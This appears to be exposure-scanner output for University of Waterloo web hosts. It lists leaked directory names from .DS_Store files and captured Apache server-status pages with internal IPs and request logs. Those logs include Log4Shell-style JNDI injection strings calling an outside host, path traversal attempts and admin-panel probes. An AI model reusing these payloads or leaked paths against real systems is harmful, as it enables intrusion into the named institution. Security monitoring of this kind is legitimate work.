/tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c8ef2655c8ef2655c7af50d158c6a8a000d31b2c7357c725b
Found 71 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09ca29b58f1a29b58f18b1e461c60db05cb4961a1987741f6c9
Found 78 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c75d69a7675d69a76e135b451c35721d594e7f9d0c8d8e31f
Found 51 files trough .DS_Store spidering: /eng_research /eng_research/images /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib
Severity: high
Fingerprint: 5f32cf5d6962f09c8efce1938efce19350a5fe4ee8e0c3e0854d48870a120837
Found 36 files trough .DS_Store spidering: /doit /dropcreate.sql /eng_research /eng_research/Banners /eng_research/images /erick /extractGSO /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /iap /import_ccv /mag-test /MyCCCV /OFIS /OFIS archives /OFIS BETA v1.7 archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /ranking_db /refBase /Templates /test /thirdPartyLib
Severity: high
Fingerprint: 5f32cf5d6962f09ca629b8b1a629b8b1d17349c82e3cc78aea9619e547642f2a
Found 34 files trough .DS_Store spidering: /doit /dropcreate.sql /eng_research /eng_research/Banners /eng_research/images /erick /extractGSO /fare-1 /fare-repo /iap /import_ccv /mag-test /MyCCCV /OFIS /OFIS archives /OFIS BETA v1.7 archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /ranking_db /refBase /Templates /test /thirdPartyLib
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c81c345f781c345f76d28fca8f6cbdcb7dd9a6e3250f68e9e
Found 32 files trough .DS_Store spidering: /about-margot /about-margot/team /campsey /cantus /cantus-a-latin-chant-database /cantus-a-latin-chant-database-2 /category /category/margot-conference /category/news /chansons /chansons/lion /conference-1993 /conference-1993/feed /conference-2005 /conference-2010 /conference-2010-egypt /conference-2014 /conferences /css /DMAConference /francais /home /homepages /homepages/CM /homepages/HS /images /interested-in-working-on-margot /margotEng /margotFren /maximenu_files /ROMAN /ROMAN/excerpttext
Severity: low
Fingerprint: 5f32cf5d6962f09cf35cbfb3f35cbfb3766049e4c5e36e2bd121cc0e40c1b4cc
Found 29 files trough .DS_Store spidering: /about-margot /about-margot/team /campsey /cantus /cantus-a-latin-chant-database /cantus-a-latin-chant-database-2 /category /category/margot-conference /category/news /chansons /chansons/lion /conference-1993 /conference-1993/feed /conference-2005 /conference-2010 /conference-2010-egypt /conference-2014 /conferences /css /DMAConference /francais /home /homepages /images /interested-in-working-on-margot /margotEng /margotFren /maximenu_files /ROMAN
Severity: low
Fingerprint: 5f32cf5d6962f09c2a439cf82a439cf8db613bd1703c93fa224def5f9e17a442
Found 31 files trough .DS_Store spidering: /about-margot /about-margot/team /campsey /cantus /cantus-a-latin-chant-database /cantus-a-latin-chant-database-2 /category /category/margot-conference /category/news /chansons /chansons/lion /conference-1993 /conference-1993/feed /conference-2005 /conference-2010 /conference-2010-egypt /conference-2014 /conferences /css /DMAConference /francais /home /homepages /homepages/CM /homepages/HS /images /interested-in-working-on-margot /margotEng /margotFren /maximenu_files /ROMAN
Severity: low
Fingerprint: 5f32cf5d6962f09c31c2f0b631c2f0b6468223b30ab54f78a4156ff9b645df64
Found 28 files trough .DS_Store spidering: /about-margot /about-margot/team /campsey /cantus /cantus-a-latin-chant-database /cantus-a-latin-chant-database-2 /category /category/margot-conference /category/news /chansons /chansons/lion /conference-1993 /conference-2005 /conference-2010 /conference-2010-egypt /conference-2014 /conferences /css /DMAConference /francais /home /homepages /images /interested-in-working-on-margot /margotEng /margotFren /maximenu_files /ROMAN
Severity: low
Fingerprint: 5f32cf5d6962f09c684e525d684e525dfad8f4bacddfd3edf252e86c791b51cc
Found 27 files trough .DS_Store spidering: /about-margot /about-margot/team /campsey /cantus /cantus-a-latin-chant-database /cantus-a-latin-chant-database-2 /category /category/margot-conference /category/news /chansons /conference-1993 /conference-2005 /conference-2010 /conference-2010-egypt /conference-2014 /conferences /css /DMAConference /francais /home /homepages /images /interested-in-working-on-margot /margotEng /margotFren /maximenu_files /ROMAN
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: medium
Fingerprint: 5f32cf5d6962f09c8f03d7bd8f03d7bde8f1af98ef897c475b272d5d1d1b25f5
Found 38 files trough .DS_Store spidering: /about.htm /Codes /Codes/2008 version /Codes/2008 version/flash /Codes/2008 version/new /Codes/2010 version /Codes/2010 version/BLOG Mod /Codes/2010 version/coop /Codes/2010 version/images /Codes/2010 version/img /Codes/2010 version/img/icons /Codes/2010 version/img/menu /Codes/2010 version/img/sponsors /Codes/2010 version/img/tbedge /Codes/2010 version/img/top /Codes/2010 version/June 3rd, 2009 /Codes/2010 version/minutes /Codes/2010 version/pics /Codes/2010 version/Unknown (not important) /Codes/2010 version/Unknown (not important)/CSS files /Codes/2010 version/Unknown (not important)/Text files /Codes/2012 /Codes/2012 version(MAIN) /CoffehousePicks /constitution.htm /direc.htm /documents /documents/meetings /events.htm /exec.htm /images /images/uwlogo1.png /Non-codes /Posters /services.htm /speakers /testimonials.htm /ZIP files
Severity: medium
Fingerprint: 5f32cf5d6962f09ca629b8b1a629b8b1739d66c4f37200a3189a17d97f29b68e
Found 34 files trough .DS_Store spidering: /about.htm /Codes /Codes/2008 version /Codes/2008 version/flash /Codes/2008 version/new /Codes/2010 version /Codes/2010 version/BLOG Mod /Codes/2010 version/coop /Codes/2010 version/images /Codes/2010 version/img /Codes/2010 version/img/icons /Codes/2010 version/img/menu /Codes/2010 version/img/sponsors /Codes/2010 version/img/tbedge /Codes/2010 version/img/top /Codes/2010 version/June 3rd, 2009 /Codes/2010 version/minutes /Codes/2010 version/pics /Codes/2010 version/Unknown (not important) /Codes/2012 /Codes/2012 version(MAIN) /CoffehousePicks /constitution.htm /direc.htm /documents /events.htm /exec.htm /images /Non-codes /Posters /services.htm /speakers /testimonials.htm /ZIP files
Severity: medium
Fingerprint: 5f32cf5d6962f09c8efce1938efce1936509badea03cbbcd1de130db47d3086e
Found 36 files trough .DS_Store spidering: /about.htm /Codes /Codes/2008 version /Codes/2008 version/flash /Codes/2008 version/new /Codes/2010 version /Codes/2010 version/BLOG Mod /Codes/2010 version/coop /Codes/2010 version/images /Codes/2010 version/img /Codes/2010 version/img/icons /Codes/2010 version/img/menu /Codes/2010 version/img/sponsors /Codes/2010 version/img/tbedge /Codes/2010 version/img/top /Codes/2010 version/June 3rd, 2009 /Codes/2010 version/minutes /Codes/2010 version/pics /Codes/2010 version/Unknown (not important) /Codes/2010 version/Unknown (not important)/CSS files /Codes/2010 version/Unknown (not important)/Text files /Codes/2012 /Codes/2012 version(MAIN) /CoffehousePicks /constitution.htm /direc.htm /documents /events.htm /exec.htm /images /Non-codes /Posters /services.htm /speakers /testimonials.htm /ZIP files
Severity: medium
Fingerprint: 5f32cf5d6962f09c9150089691500896e3e5feefe00c0238d0afccf0c7af9e9d
Found 37 files trough .DS_Store spidering: /about.htm /Codes /Codes/2008 version /Codes/2008 version/flash /Codes/2008 version/new /Codes/2010 version /Codes/2010 version/BLOG Mod /Codes/2010 version/coop /Codes/2010 version/images /Codes/2010 version/img /Codes/2010 version/img/icons /Codes/2010 version/img/menu /Codes/2010 version/img/sponsors /Codes/2010 version/img/tbedge /Codes/2010 version/img/top /Codes/2010 version/June 3rd, 2009 /Codes/2010 version/minutes /Codes/2010 version/pics /Codes/2010 version/Unknown (not important) /Codes/2010 version/Unknown (not important)/CSS files /Codes/2010 version/Unknown (not important)/Text files /Codes/2012 /Codes/2012 version(MAIN) /CoffehousePicks /constitution.htm /direc.htm /documents /documents/meetings /events.htm /exec.htm /images /Non-codes /Posters /services.htm /speakers /testimonials.htm /ZIP files
The server-status page (usually /server-status) allows server administrators to find out how well their server is performing.
This is a HTML page that gives the current server statistics such as the server version, up time,cpu, ram, and information about requests made to the server.
This information can be very useful if the application is sent sensitive information as GET requests. If you monitor this page you might be able to find CSRF tokens, API keys, hidden paths, and other sensitive information being sent to the server.
https://medium.com/@ghostlulzhacks/apache-server-status-a70abed83f5a
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31321c976f321c976fd35c0e35
Apache Status
Apache Server Status for rt.math.uwaterloo.ca (via 129.97.6.12)
Server Version: Apache/2.4.52 (Ubuntu) mod_fcgid/2.3.9 mod_perl/2.0.12 Perl/v5.34.0
Server MPM: prefork
Server Built: 2024-07-17T18:57:26
Current Time: Sunday, 18-Aug-2024 12:50:35 EDT
Restart Time: Thursday, 15-Aug-2024 09:08:56 EDT
Parent Server Config. Generation: 4
Parent Server MPM Generation: 3
Server uptime: 3 days 3 hours 41 minutes 39 seconds
Server load: 0.00 0.00 0.00
Total accesses: 12562 - Total Traffic: 19.8 MB - Total Duration: 284542
CPU Usage: u2.62 s4.99 cu49.61 cs5.98 - .0232% CPU load
.0461 requests/sec - 76 B/second - 1656 B/request - 22.651 ms/request
1 requests currently being processed, 6 idle workers
W____...__......................................................
................................................................
......................
Scoreboard Key:
"_" Waiting for Connection,
"S" Starting up,
"R" Reading Request,
"W" Sending Reply,
"K" Keepalive (read),
"D" DNS Lookup,
"C" Closing connection,
"L" Logging,
"G" Gracefully finishing,
"I" Idle cleanup of worker,
"." Open slot with no current process
SrvPIDAccMCPU
SSReqDurConnChildSlotClientProtocolVHostRequest
0-3528948/32/608W
0.0000231548.60.041.02
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /server-status HTTP/1.1
1-3507590/27/494_
0.0050176125690.00.041.92
129.97.133.7http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/js/ HTTP/1.1
2-3507600/145/821_
0.0350095234610.00.102.38
129.97.133.7http/1.1rt-stage.math.uwaterloo.ca:80GET /helpdezk-community/ HTTP/1.1
3-3507610/18/622_
0.0050147307100.00.022.41
129.97.133.7http/1.1rt-stage.math.uwaterloo.ca:80HEAD / HTTP/1.1
4-3529890/30/544_
0.0050145186340.00.071.52
129.97.133.7http/1.1
5-2-0/0/814.
0.00462316148410.00.001.47
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/Login.html HTTP/1.1
6-1-0/0/293.
0.001326308310820.00.000.68
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/Login.html?next=461984ef85e017c932c19041f774c6a9 HT
7-0-0/0/464.
0.00259171658700.00.000.40
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /console/framework/skins/wlsconsole/css/%252E%252E%252Fcon
8-3507620/85/924_
0.0150025147340.00.091.43
129.97.133.7http/1.1rt-stage.math.uwaterloo.ca:80GET /cubecart/ HTTP/1.1
9-3507630/62/802_
0.0150176378780.00.051.08
129.97.133.7http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
10-0-0/0/7.
0.00259376520890.00.000.00
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /forms/formmail.html HTTP/1.0
11-0-0/0/431.
0.00259241665260.00.000.32
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /bootstrap/v1/verify HTTP/1.1
12-0-0/0/10.
0.0025937471480.00.000.01
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /phpmyadmin/sql.php3 HTTP/1.0
13-0-0/0/596.
0.00258863960450.00.000.46
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
14-0-0/0/422.
0.00259100537730.00.000.35
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80${jndi:iiop://129.97.133.4:38589/QUALYSTEST} / HTTP/1.1
15-0-0/0/825.
0.002190291273690.00.000.67
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
16-0-0/0/439.
0.00259191755180.00.000.30
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /console/framework/skins/wlsconsole/images/%252E%252E%252F
17-0-0/0/213.
0.00259341423420.00.000.11
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /content/plugins/content/hikashop/ HTTP/1.1
18-0-0/0/699.
0.00258982899740.00.000.50
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
19-0-0/0/4.
0.002593754460.00.000.00
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /q79w_38jg__.shtml HTTP/1.0
20-0-0/0/465.
0.00259070750760.00.000.34
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80${jndi:corba://129.97.133.4:38589/QUALYSTEST} / HTTP/1.1
21-0-0/0/865.
0.00219029699920.00.000.72
129.97.133.7http/1.1
22-0-0/0/846.
0.00258983989250.00.001.43
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
23-0-0/0/354.
0.00259110637720.00.000.31
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST ${jndi:nis://129.97.133.4:38589/QUALYSTEST} HTTP/1.1
SrvChild Server number - generation
PIDOS process ID
AccNumber of accesses this connection / this child / this slot
MMode of operation
CPUCPU usage, number of seconds
SSSeconds since beginning of most recent request
ReqMilliseconds required to process most recent request
DurSum of milliseconds required to process all requests
ConnKilobytes transferred this connection
ChildMegabytes transferred this child
SlotTotal megabytes transferred this slot
mod_fcgid status:
Total FastCGI processes: 1
Process: rt-server.fcgi (/usr/share/request-tracker5/libexec/rt-server.fcgi)
PidActiveIdleAccessesState
52892155340318Ready
Active and Idle are time active and time since
last request, in seconds.
Apache/2.4.52 (Ubuntu) Server at rt.math.uwaterloo.ca Port 80
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31321c976f321c976f993c6040
Apache Status
Apache Server Status for rt.math.uwaterloo.ca (via 129.97.6.12)
Server Version: Apache/2.4.52 (Ubuntu) mod_fcgid/2.3.9 mod_perl/2.0.12 Perl/v5.34.0
Server MPM: prefork
Server Built: 2024-07-17T18:57:26
Current Time: Friday, 16-Aug-2024 14:45:36 EDT
Restart Time: Thursday, 15-Aug-2024 09:08:56 EDT
Parent Server Config. Generation: 2
Parent Server MPM Generation: 1
Server uptime: 1 day 5 hours 36 minutes 39 seconds
Server load: 0.00 0.00 0.00
Total accesses: 11785 - Total Traffic: 18.3 MB - Total Duration: 256294
CPU Usage: u1.39 s2.05 cu41.22 cs4.14 - .0458% CPU load
.111 requests/sec - 179 B/second - 1627 B/request - 21.7475 ms/request
1 requests currently being processed, 8 idle workers
__W____.__......................................................
................................................................
......................
Scoreboard Key:
"_" Waiting for Connection,
"S" Starting up,
"R" Reading Request,
"W" Sending Reply,
"K" Keepalive (read),
"D" DNS Lookup,
"C" Closing connection,
"L" Logging,
"G" Gracefully finishing,
"I" Idle cleanup of worker,
"." Open slot with no current process
SrvPIDAccMCPU
SSReqDurConnChildSlotClientProtocolVHostRequest
0-1423800/28/546_
0.0155490226710.00.260.94
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /static/images/favicon.png HTTP/1.1
1-1293630/31/417_
0.1055411196610.01.151.79
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/css/elevator-light/squished-0158e38185d10a60d65524a
2-1293648/53/629W
0.0700134068.60.952.18
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /server-status HTTP/1.1
3-1293650/133/574_
0.0955403260930.00.691.72
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /static/css/fonts/inter/Inter-Medium.woff2 HTTP/1.1
4-1423970/80/456_
0.0255233176910.00.461.42
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /static/css/fonts/inter/Inter-Bold.woff2 HTTP/1.1
5-1426210/6/814_
0.0555346148410.00.541.47
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/Login.html HTTP/1.1
6-1427190/7/293_
0.0050398310820.00.040.68
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/Login.html?next=461984ef85e017c932c19041f774c6a9 HT
7-0-0/0/464.
0.0093272658700.00.000.40
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /console/framework/skins/wlsconsole/css/%252E%252E%252Fcon
8-1293660/35/802_
0.06550721135260.00.621.23
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /Helpers/TicketHistory?id=3 HTTP/1.1
9-1293670/31/614_
0.0155403298430.00.360.93
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /static/css/fonts/inter/Inter-Regular.woff2 HTTP/1.1
10-0-0/0/7.
0.0093477520890.00.000.00
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /forms/formmail.html HTTP/1.0
11-0-0/0/431.
0.0093342665260.00.000.32
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /bootstrap/v1/verify HTTP/1.1
12-0-0/0/10.
0.009347571480.00.000.01
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /phpmyadmin/sql.php3 HTTP/1.0
13-0-0/0/596.
0.0092964960450.00.000.46
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
14-0-0/0/422.
0.0093201537730.00.000.35
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80${jndi:iiop://129.97.133.4:38589/QUALYSTEST} / HTTP/1.1
15-0-0/0/825.
0.00531301273690.00.000.67
129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
16-0-0/0/439.
0.0093292755180.00.000.30
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST /console/framework/skins/wlsconsole/images/%252E%252E%252F
17-0-0/0/213.
0.0093442423420.00.000.11
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /content/plugins/content/hikashop/ HTTP/1.1
18-0-0/0/699.
0.0093083899740.00.000.50
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
19-0-0/0/4.
0.00934764460.00.000.00
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET /q79w_38jg__.shtml HTTP/1.0
20-0-0/0/465.
0.0093171750760.00.000.34
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80${jndi:corba://129.97.133.4:38589/QUALYSTEST} / HTTP/1.1
21-0-0/0/865.
0.0053130699920.00.000.72
129.97.133.7http/1.1
22-0-0/0/846.
0.0093084989250.00.001.43
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1
23-0-0/0/354.
0.0093211637720.00.000.31
129.97.133.4http/1.1rt-stage.math.uwaterloo.ca:80POST ${jndi:nis://129.97.133.4:38589/QUALYSTEST} HTTP/1.1
SrvChild Server number - generation
PIDOS process ID
AccNumber of accesses this connection / this child / this slot
MMode of operation
CPUCPU usage, number of seconds
SSSeconds since beginning of most recent request
ReqMilliseconds required to process most recent request
DurSum of milliseconds required to process all requests
ConnKilobytes transferred this connection
ChildMegabytes transferred this child
SlotTotal megabytes transferred this slot
mod_fcgid status:
Total FastCGI processes: 2
Process: rt-server.fcgi (/usr/share/request-tracker5/libexec/rt-server.fcgi)
PidActiveIdleAccessesState
4262410434035Ready42378138265044288Ready
Active and Idle are time active and time since
last request, in seconds.
Apache/2.4.52 (Ubuntu) Server at rt.math.uwaterloo.ca Port 80
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31321c976f321c976fb131816a
Apache Status Apache Server Status for rt.math.uwaterloo.ca (via 129.97.6.12) Server Version: Apache/2.4.52 (Ubuntu) mod_fcgid/2.3.9 mod_perl/2.0.12 Perl/v5.34.0 Server MPM: prefork Server Built: 2024-07-17T18:57:26 Current Time: Wednesday, 14-Aug-2024 18:12:12 EDT Restart Time: Wednesday, 14-Aug-2024 12:24:34 EDT Parent Server Config. Generation: 2 Parent Server MPM Generation: 1 Server uptime: 5 hours 47 minutes 38 seconds Server load: 0.00 0.00 0.00 Total accesses: 135 - Total Traffic: 4.5 MB - Total Duration: 39363 CPU Usage: u.21 s.38 cu5.35 cs1.13 - .0339% CPU load .00647 requests/sec - 225 B/second - 34.0 kB/request - 291.578 ms/request 1 requests currently being processed, 5 idle workers ___W__.......................................................... ................................................................ ...................... Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqDurConnChildSlotClientProtocolVHostRequest 0-1130040/5/14_ 0.005211274720.00.020.22 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1 1-1130050/3/14_ 0.0015611157620.00.030.47 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1 2-1130060/4/15_ 0.0059951054400.00.011.16 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /NoAuth/Login.html?next=4001944241534e777514147db94359f7 HT 3-1130078/12/18W 0.000067398.60.020.20 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /server-status HTTP/1.1 4-1130080/4/20_ 0.009081255040.00.031.09 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1 5-1130140/3/16_ 0.007951125600.00.020.36 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1 6-0-0/0/16. 0.0018840246730.00.000.64 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /Admin/Queues/Modify.html?id=1 HTTP/1.1 7-0-0/0/6. 0.0018840348630.00.000.05 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /Helpers/TicketHistory?id=4 HTTP/1.1 8-0-0/0/5. 0.0018840277550.00.000.04 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /Helpers/TicketHistory?id=4 HTTP/1.1 9-0-0/0/11. 0.001884010635910.00.000.24 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80POST /Helpers/PreviewScrips HTTP/1.1 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request DurSum of milliseconds required to process all requests ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot mod_fcgid status: Total FastCGI processes: 1 Process: rt-server.fcgi (/usr/share/request-tracker5/libexec/rt-server.fcgi) PidActiveIdleAccessesState 1300918837031Ready Active and Idle are time active and time since last request, in seconds. Apache/2.4.52 (Ubuntu) Server at rt.math.uwaterloo.ca Port 80
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31321c976f321c976fc5d57bf5
Apache Status Apache Server Status for rt.math.uwaterloo.ca (via 129.97.6.12) Server Version: Apache/2.4.52 (Ubuntu) mod_fcgid/2.3.9 mod_perl/2.0.12 Perl/v5.34.0 Server MPM: prefork Server Built: 2024-07-17T18:57:26 Current Time: Tuesday, 13-Aug-2024 14:07:24 EDT Restart Time: Tuesday, 13-Aug-2024 13:54:44 EDT Parent Server Config. Generation: 2 Parent Server MPM Generation: 1 Server uptime: 12 minutes 39 seconds Server load: 0.00 0.00 0.00 Total accesses: 477 - Total Traffic: 1.1 MB - Total Duration: 20160 CPU Usage: u.04 s.02 cu2.87 cs.31 - .427% CPU load .628 requests/sec - 1559 B/second - 2481 B/request - 42.2642 ms/request 2 requests currently being processed, 6 idle workers _W___K__........................................................ ................................................................ ...................... Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqDurConnChildSlotClientProtocolVHostRequest 0-133540/22/47_ 0.00600344240.00.050.11 129.97.111.54http/1.1dsteinmo.math.uwaterloo.ca:80GET /rt/NoAuth/Login.html?next=bba3011aaca5cb7fc92ecee944e1192e 1-1335525/25/46W 0.000056224.80.020.07 129.97.206.16http/1.1dsteinmo.math.uwaterloo.ca:80GET /server-status HTTP/1.1 2-133560/21/62_ 0.00599325190.00.050.15 129.97.111.54http/1.1dsteinmo.math.uwaterloo.ca:80GET /rt/NoAuth/Login.html?next=43dfed5864060b15540a5895faa48d4c 3-133570/62/83_ 0.00587326380.00.150.20 129.97.111.54http/1.1dsteinmo.math.uwaterloo.ca:80GET /rt/NoAuth/Login.html?next=a56333acbab23197ee4461c58dac15a7 4-133580/1/2_ 0.00598195478460.00.000.00 129.97.111.54http/1.1dsteinmo.math.uwaterloo.ca:80GET /rt/static/images/request-tracker-logo.svg HTTP/1.1 5-133661/1/102K 0.003108782.50.000.25 129.97.206.16http/1.1dsteinmo.math.uwaterloo.ca:80GET / HTTP/1.1 6-133700/0/101_ 0.0060649590.00.000.25 129.97.111.54http/1.1dsteinmo.math.uwaterloo.ca:80GET /rt/NoAuth/Login.html?next=b3880857d3a28d8bf7365f2f80850dd1 7-133760/0/34_ 0.0060543300.00.000.08 129.97.111.54http/1.1dsteinmo.math.uwaterloo.ca:80GET /rt/NoAuth/Login.html?next=899add2ca3d0c427490b04e3148aa8a1 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request DurSum of milliseconds required to process all requests ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot mod_fcgid status: Total FastCGI processes: 2 Process: 